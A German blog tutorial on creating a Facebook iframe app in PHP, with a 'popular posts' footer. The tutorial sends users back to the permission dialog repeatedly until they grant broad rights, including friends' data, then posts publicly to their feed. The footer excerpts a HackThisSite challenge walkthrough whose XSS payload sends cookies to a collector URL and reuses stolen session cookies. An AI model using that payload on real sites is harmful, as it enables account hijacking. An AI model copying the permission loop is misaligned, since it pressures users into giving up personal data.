Direkt zum Hauptbereich

Facebook API PHP Tutorial

Eine Facebook Anwendung ist vielseitig und kann eigentlich alles sein! Man muss sich nur etwas einfallen lassen!
Vom Game über Shop bis hin zu einer "mini" Gift Anwendung.

Alle Anfänge sind schwer, darum möchte ich hier den schnellen Einstieg in die Facebook Entwicklung bieten.
Als erstes muss man auf Facebook eine neue Anwedung erstellen.
Dazu auf
http://www.facebook.com/developers/
gehen. Dort auf den Button "Neue Anwendung erstellen" klicken und schon kann es losgehen.

Nun stellt Facebook mehrere Fragen, als erstes den Namen der Anwendung, hier einfach den Namen eingeben.
Ist dies Geschehen bist du nun im Bereich "Deine Anwendungen" Dort kannst Du einstellen wie sich deine Anwendung mit Facebook Connectet, ob es eine "Canvas" oder "Iframe" oder eine App ist welche überhaupt nicht in Facebook integriert wird "Webpage".
In diesem Tutorial möchten wir eine Iframe APP erstellen. Das heißt Facebook ruft unsere URL auf und zeigt den Inhalt der URL in einem Iframe an, Beispiel:
http://apps.facebook.com/givemelike/

So um unsere Server URL anzugeben klick auf Facebook Einbindung. In diesem neuen Formular kannst du die Adresse der "Canvasseite" also unter der die Anwendung auf Facebook aufrufbar ist. http://apps.facebook.com/DEINAPPNAME
Auf Canvas URL gibst Du die Server URL an auf welcher deine Anwendung liegt. Als Beispiel:
http://meineWebpage.de/FBAPP/
Der letzte Shlash ist wichtig da Facebook verlangt dass die URL in einem Verzeichniss endet.
Jetzt noch Canvas Typ, FBML oder IFRAME, in unserem Fall iframe.

So nun noch auf Änderungen Speichern klicken und die App auf Facebook ist erstellt. Auf der übersichtsseite deiner Anwendungen welche Du hier aufrufen kannst:
http://www.facebook.com/developers/apps.php
Entnimmst du nun deine Anwendungsnummer (ID), API Schlüssel (KEY) und Anwendungs Geheimcode (Secret Key).

Jetzt erst beginnt die eingentliche Programmiertätigkeit:
Als erstes möchten wir die nötigen Nutzerrechte holen, dazu müssen wir abfragen ob wir schon mit dem Nutzer Verbunden sind dazu kann man folgendes Code Snippet verwenden:

       $facebook = facebookFactory::getInstance();
        $fbObject = $facebook->getFacebook();
        $fbWorker = new FacebookOperation($fbObject);
        $renderEngine = $reg->getView();
        if(!$renderEngine instanceof render)
            $renderEngine = new render('page');

        /**
         * Prüfen ob der Nutzer die Benötigten Rechte besitzt
         * Keine Rechte, die Rechte holen Nutzer anlegen!
         */
        $userIdFF = $fbWorker->getFB_userId();
        if(!$fbWorker->checkLoginState() && empty($userIdFF)) {
            eventDispatcher::getInstance()->triggerEvent('onFBUserNoRights');
        }

Ich rufe hier einen eventDispatcher auf da ich mich in meinem kleinen MVC befinde, und rufe das Event "onFBUserNoRights" auf. Im folgenden wird die EventHandler Methode gezeigt welche dieses Event verarbeitet:
define('FACEBOOK_REG_PERMS', 'publish_stream,user_location,user_interests,friends_interests,user_likes,friends_likes,user_photos'); 
       $reg = registry::getInstance();
        $response = $reg->getResponse();
        $facebook = facebookFactory::getInstance();
        $fbObject = $facebook->getFacebook();
        $fbWorker = new FacebookOperation($fbObject);

        $redirectUrl = $fbWorker->loginFacebookUser(FACEBOOK_REG_PERMS);

        $response->write('< script> top.location.href = "' . $redirectUrl
< script>');
        $response->flush(); 

 Hier ist der Auszug aus dem EventHandler welcher nun den Nutzer auf die Facebook Page Umleitet damit dieser die Rechte der Anwendung freigeben kann. Bekommen wir die Rechte dann leitet Facebook den Nutzer wieder zur Anwendung zurück und das Spiel beginnt von neuem.

Wenn der Nutzer uns die Rechte nicht gegeben hat so wird er wieder zum Facebook Dialog zur Rechteverwaltung zurückgeleitet. So lange bis wir die Rechte bekommen ;)

Nun haben wir die Nutzerrechte und können einen Dialog erstellen, wir erstellen nun einen neuen Post das der Nutzer nun unsere Anwendung benutzt. Der Code dazu schaut folgendermaßen aus:
 $arguments = array(
                    'message' => ' ' . $this->user->name . ' hat begonnen diese APP zu verwenden! Benutze auch Du diese lustige APP blabla das macht bestimmt Spass...',
                    'picture' => 'http://deinServer.com/img/bild.png',
                    'link'  => 'http://apps.facebook.com/deineApp/?mode=blabla&&referer=newsfeed',
                    'name' => 'Die Überschrift....   Blalbla APP ROCKT!!',
                    'caption' => 'Nochmal etwas kleineres',
                    'description' =>'Hier kann eine elends lange Beschreibung stehen',
                    'actions' => '{"name": "klick hier!", "link":    "http://apps.facebook.com/deineApp/?mode=blabla&referer=newsfeed"}',
                    'privacy' => '{"value": "EVERYONE"}',
            );
            $userId = $this->fbWorker->getFB_userId();
            $this->fbWorker->postUserFeed($userId,$arguments);
Die Methide postUserFeed:
public function postUserFeed($userId,$arguments) {
        try {
            $this->facebook->api("/{$userId}/feed", 'post', $arguments);
        } catch(FacebookApiException $e) {
            $e;
            return false;
        }
    }
public function getFB_userId() {
        try {
            $uid = $this->facebook->getUser();
            return $uid;
        } catch (FacebookApiException $e) {
            $e;
            return false;
        }

    } 
So, gehen wir diesen Code Abschnitt durch welcher einen neuen POST in den User News Feed schreibt.
Das Kernstück ist das array $arguments hier werden alle wichtigen Anweisungen für unseren NewsFeed einträg enthält. $message Enthält eine Nachricht, also Nuzter soundso hat begonnen die Anwendung zu verwenden.
link enthält den Link welcher im Newsfeed veröffentlicht wird.
name Der Name des Eintrages für den Link,
caption => Hier steht ein Untertitel
description => Eine Beschreibung, gerne auch etwas länger
action => name=>Der Name der Aktion,link=>den Link zur Action
privacy=> value=>Everyvone(JEDER KANN ES SEHEN)

So nun holen wir uns die Aktuelle NutzerID; Und diese Übergeben wir der Methode postUserFeed damit diese nun den eigentlichen API aufruf für uns erledigt.

So nun wurde der POST veröffentlicht und unsere kleine APP ist hiermit fertig. Ich hoffe es hat dem einen oder anderen etwas weitergeholfen. Über Komentare freue ich mich ;)

Kommentare

Beliebte Posts aus diesem Blog

HTS realistic 9, the Codes for the Challenge!

Here are the javascript codes for HTS Level 9: 1. code, take a look at the cookie: javascript:alert(document.cookie); 2. The xss exploit insert into the message to mr. crap: </textarea> <script>window.location="http://getTheScript/getcookiemailer.php?keks="+document.cookie;</script> 3. The code to use the stolen cookie data: javascript:document.cookie="strUsername=m-crap%40crappysoft.com";document.cookie="strPassword=94a35a3b7befff5eb2a8415af04aa16c";document.cookie="intID=1"; Now you can move the money!! 4. Deleting the session data. Log out and go to the main page of crappy soft. Go to the mailing list form. Now you need an Firefox extension like UrlParams or an Proxy with freeze function. Or you manipulate the Post data with an faked http header. How to fake http header with PHP you can take a look at this page: http://hack1n9.blogspot.com/2008/06/hackthissiteorg-level-5-basic-lsung.html But it is written in german. The faste...

Linearen Notenschlüssel mit nodejs berechnen

Linearen Notenschlüssel berechnen / Method chaining in nodejs Hintergrund/Motivation: Ein kleines altes Nebenprojekt von mir war eine Schüler/Notenverwaltung Software in Java geschrieben. Das kleine Programm ist etwas in die Jahre gekommen und da wollte ich kleine teile von der Software nach nodejs portieren und es etwas auffrischen. Und zum start habe ich die Berechnung der Noten nach einem Linearen Notenschlüssel portiert. Also die dahinter liegende Klasse. Kurze Beschreibung der Eigenschaften der Klasse: Die Klasse soll die Berechnung anhand der Maximalen zu erreichenden Punkzahl und der erreichten Punkzahl des Schülers berechnen. Es gibt folgende Attribute: defaultPoints => fallback falls maxPoints nicht gesetzt wird maxPoints => Maximal zu erreichende Punkte im Test/Arbeit reachedPonts => Erreichte Punktzahl des Schülers Darüber hinaus sollen die setter der Klasse via   Method chaining  einfacher und kürzer aufrufbar sein, hierzu ein kleiner Pse...

Magento - Simple Google Shopping - Add PHP code direct in XML Template

Magento - Extension "Simple Google Shopping" von wyomind Um das Template anzupassen gibt es hier auch die Möglichkeit PHP code direkt in das XML Template zu schreiben.  Dies kann hilfreich sein wenn man Felder aus Magento ändern möchte und dazu ein if Konstrukt benötigt. Hier ein Beispielhaftes Template für Simple Google Shopping mit PHP code direkt im template: Wichtig: der code muss ein "return" statement besitzen. Denn nur der Wert welcher vom PHP Block returned wird, ist nacher im google shopping XML file vorhanden.   Simple Google Shopping Extension